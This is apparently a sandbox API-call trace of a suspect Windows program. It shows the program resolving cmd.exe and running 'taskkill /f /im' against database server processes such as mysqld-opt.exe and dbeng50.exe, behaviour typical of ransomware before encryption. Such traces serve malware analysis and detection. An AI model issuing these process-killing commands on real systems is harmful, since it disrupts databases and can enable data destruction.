	[0042.561] GetEnvironmentVariableW (in: lpName="path", lpBuffer=0x12441a00, nSize=0x64 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0042.561] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x1249efa8 | out: lpFileInformation=0x1249efa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0042.561] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x12441ad0, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0042.562] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x1249eff8 | out: lpFileInformation=0x1249eff8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0042.562] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0042.562] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x123edaa4 | out: lpMode=0x123edaa4) returned 0
	[0042.562] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb4
	[0042.562] GetConsoleMode (in: hConsoleHandle=0xb4, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0042.575] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb0
	[0042.575] GetConsoleMode (in: hConsoleHandle=0xb0, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0042.577] GetEnvironmentStringsW () returned 0x7eb348*
	[0042.578] FreeEnvironmentStringsW (penv=0x7eb348) returned 1
	[0042.578] GetCurrentProcess () returned 0xffffffff
	[0042.578] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x124a4ed0, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x124a4ed0*=0xc4) returned 1
	[0042.578] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb4, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x124a4ed4, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x124a4ed4*=0xc8) returned 1
	[0042.578] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb0, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x124a4ed8, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x124a4ed8*=0xac) returned 1
	[0042.578] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="cmd.exe /c \"taskkill /f /im mysqld-opt.exe \"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x400, lpEnvironment=0x124bd800, lpCurrentDirectory=0x0, lpStartupInfo=0x123edacc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xc4, hStdOutput=0xc8, hStdError=0xac), lpProcessInformation=0x123edaa8 | out: lpCommandLine="cmd.exe /c \"taskkill /f /im mysqld-opt.exe \"", lpProcessInformation=0x123edaa8*(hProcess=0xbc, hThread=0xb8, dwProcessId=0x8e4, dwThreadId=0x8e0)) returned 1
	[0042.587] CloseHandle (hObject=0xb8) returned 1
	[0042.587] CloseHandle (hObject=0xac) returned 1
	[0042.587] CloseHandle (hObject=0xc8) returned 1
	[0042.587] CloseHandle (hObject=0xc4) returned 1
	[0042.587] CloseHandle (hObject=0xc0) returned 1
	[0042.587] CloseHandle (hObject=0xb4) returned 1
	[0042.587] CloseHandle (hObject=0xb0) returned 1
	[0042.587] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0
	[0042.976] SetEvent (hEvent=0xa8) returned 1
	[0042.976] GetExitCodeProcess (in: hProcess=0xbc, lpExitCode=0x123edbdc | out: lpExitCode=0x123edbdc*=0x80) returned 1
	[0042.976] GetProcessTimes (in: hProcess=0xbc, lpCreationTime=0x124ce560, lpExitTime=0x124ce568, lpKernelTime=0x124ce570, lpUserTime=0x124ce578 | out: lpCreationTime=0x124ce560, lpExitTime=0x124ce568, lpKernelTime=0x124ce570, lpUserTime=0x124ce578) returned 1
	[0042.976] CloseHandle (hObject=0xbc) returned 1
	[0042.976] SetEvent (hEvent=0x80) returned 1
	[0042.976] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x5) returned 0x102
	[0042.991] SetEvent (hEvent=0x80) returned 1
	[0042.991] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x12409d40, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0042.991] GetFileAttributesExW (in: lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x124974a8 | out: lpFileInformation=0x124974a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0042.991] CreateFileW (lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0042.991] GetFileAttributesExW (in: lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), fInfoLevelId=0x0, lpFileInformation=0x124974f8 | out: lpFileInformation=0x124974f8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0042.991] CreateFileW (lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0042.991] GetFileAttributesExW (in: lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), fInfoLevelId=0x0, lpFileInformation=0x12497548 | out: lpFileInformation=0x12497548*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0042.991] CreateFileW (lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0042.992] GetFileAttributesExW (in: lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), fInfoLevelId=0x0, lpFileInformation=0x12497598 | out: lpFileInformation=0x12497598*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0042.992] CreateFileW (lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0042.992] GetFileAttributesExW (in: lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), fInfoLevelId=0x0, lpFileInformation=0x124975e8 | out: lpFileInformation=0x124975e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0042.992] CreateFileW (lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0042.992] GetFileAttributesExW (in: lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), fInfoLevelId=0x0, lpFileInformation=0x12497638 | out: lpFileInformation=0x12497638*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0042.992] CreateFileW (lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0042.992] GetFileAttributesExW (in: lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), fInfoLevelId=0x0, lpFileInformation=0x12497688 | out: lpFileInformation=0x12497688*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0042.992] CreateFileW (lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0042.992] GetFileAttributesExW (in: lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), fInfoLevelId=0x0, lpFileInformation=0x124976d8 | out: lpFileInformation=0x124976d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0042.992] CreateFileW (lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0042.992] GetFileAttributesExW (in: lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), fInfoLevelId=0x0, lpFileInformation=0x12497728 | out: lpFileInformation=0x12497728*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0042.992] CreateFileW (lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0042.992] GetFileAttributesExW (in: lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), fInfoLevelId=0x0, lpFileInformation=0x12497778 | out: lpFileInformation=0x12497778*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0042.992] CreateFileW (lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0042.993] GetFileAttributesExW (in: lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), fInfoLevelId=0x0, lpFileInformation=0x124977c8 | out: lpFileInformation=0x124977c8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0042.993] CreateFileW (lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0042.993] GetFileAttributesExW (in: lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), fInfoLevelId=0x0, lpFileInformation=0x12497818 | out: lpFileInformation=0x12497818*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0042.993] CreateFileW (lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0042.993] GetEnvironmentVariableW (in: lpName="path", lpBuffer=0x12409e10, nSize=0x64 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0042.993] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x12497868 | out: lpFileInformation=0x12497868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0042.993] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x12409ee0, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0042.993] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x124978b8 | out: lpFileInformation=0x124978b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0042.993] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xbc
	[0042.993] GetConsoleMode (in: hConsoleHandle=0xbc, lpMode=0x123edaa4 | out: lpMode=0x123edaa4) returned 0
	[0042.993] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb0
	[0042.993] GetConsoleMode (in: hConsoleHandle=0xb0, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0042.994] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb4
	[0042.994] GetConsoleMode (in: hConsoleHandle=0xb4, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0042.994] GetEnvironmentStringsW () returned 0x7eb348*
	[0042.994] FreeEnvironmentStringsW (penv=0x7eb348) returned 1
	[0042.994] GetCurrentProcess () returned 0xffffffff
	[0042.994] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xbc, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1249b590, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1249b590*=0xc0) returned 1
	[0042.994] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb0, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1249b594, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1249b594*=0xc4) returned 1
	[0042.994] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb4, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1249b598, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1249b598*=0xc8) returned 1
	[0042.994] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="cmd.exe /c \"taskkill /f /im dbeng50.exe \"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x400, lpEnvironment=0x124b2400, lpCurrentDirectory=0x0, lpStartupInfo=0x123edacc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xc0, hStdOutput=0xc4, hStdError=0xc8), lpProcessInformation=0x123edaa8 | out: lpCommandLine="cmd.exe /c \"taskkill /f /im dbeng50.exe \"", lpProcessInformation=0x123edaa8*(hProcess=0xb8, hThread=0xac, dwProcessId=0x8c0, dwThreadId=0x8bc)) returned 1
	[0043.003] CloseHandle (hObject=0xac) returned 1
	[0043.003] CloseHandle (hObject=0xc8) returned 1
	[0043.003] CloseHandle (hObject=0xc4) returned 1
	[0043.003] CloseHandle (hObject=0xc0) returned 1
	[0043.003] CloseHandle (hObject=0xbc) returned 1
	[0043.003] CloseHandle (hObject=0xb0) returned 1
	[0043.003] CloseHandle (hObject=0xb4) returned 1
	[0043.003] WaitForSingleObject (hHandle=0xb8, dwMilliseconds=0xffffffff) returned 0x0
	[0043.452] SetEvent (hEvent=0xa8) returned 1
	[0043.452] GetExitCodeProcess (in: hProcess=0xb8, lpExitCode=0x123edbdc | out: lpExitCode=0x123edbdc*=0x80) returned 1
	[0043.452] GetProcessTimes (in: hProcess=0xb8, lpCreationTime=0x124c4e20, lpExitTime=0x124c4e28, lpKernelTime=0x124c4e30, lpUserTime=0x124c4e38 | out: lpCreationTime=0x124c4e20, lpExitTime=0x124c4e28, lpKernelTime=0x124c4e30, lpUserTime=0x124c4e38) returned 1
	[0043.452] CloseHandle (hObject=0xb8) returned 1
	[0043.452] SetEvent (hEvent=0x80) returned 1
	[0043.452] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x5) returned 0x102
	[0043.466] SetEvent (hEvent=0x80) returned 1
	[0043.466] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x12441ba0, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0043.466] GetFileAttributesExW (in: lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x1249f048 | out: lpFileInformation=0x1249f048*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0043.466] CreateFileW (lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0043.466] GetFileAttributesExW (in: lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), fInfoLevelId=0x0, lpFileInformation=0x1249f098 | out: lpFileInformation=0x1249f098*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0043.466] CreateFileW (lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0043.466] GetFileAttributesExW (in: lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), fInfoLevelId=0x0, lpFileInformation=0x1249f0e8 | out: lpFileInformation=0x1249f0e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0043.466] CreateFileW (lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0043.466] GetFileAttributesExW (in: lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), fInfoLevelId=0x0, lpFileInformation=0x1249f138 | out: lpFileInformation=0x1249f138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0043.466] CreateFileW (lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0043.466] GetFileAttributesExW (in: lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), fInfoLevelId=0x0, lpFileInformation=0x1249f188 | out: lpFileInformation=0x1249f188*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0043.466] CreateFileW (lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
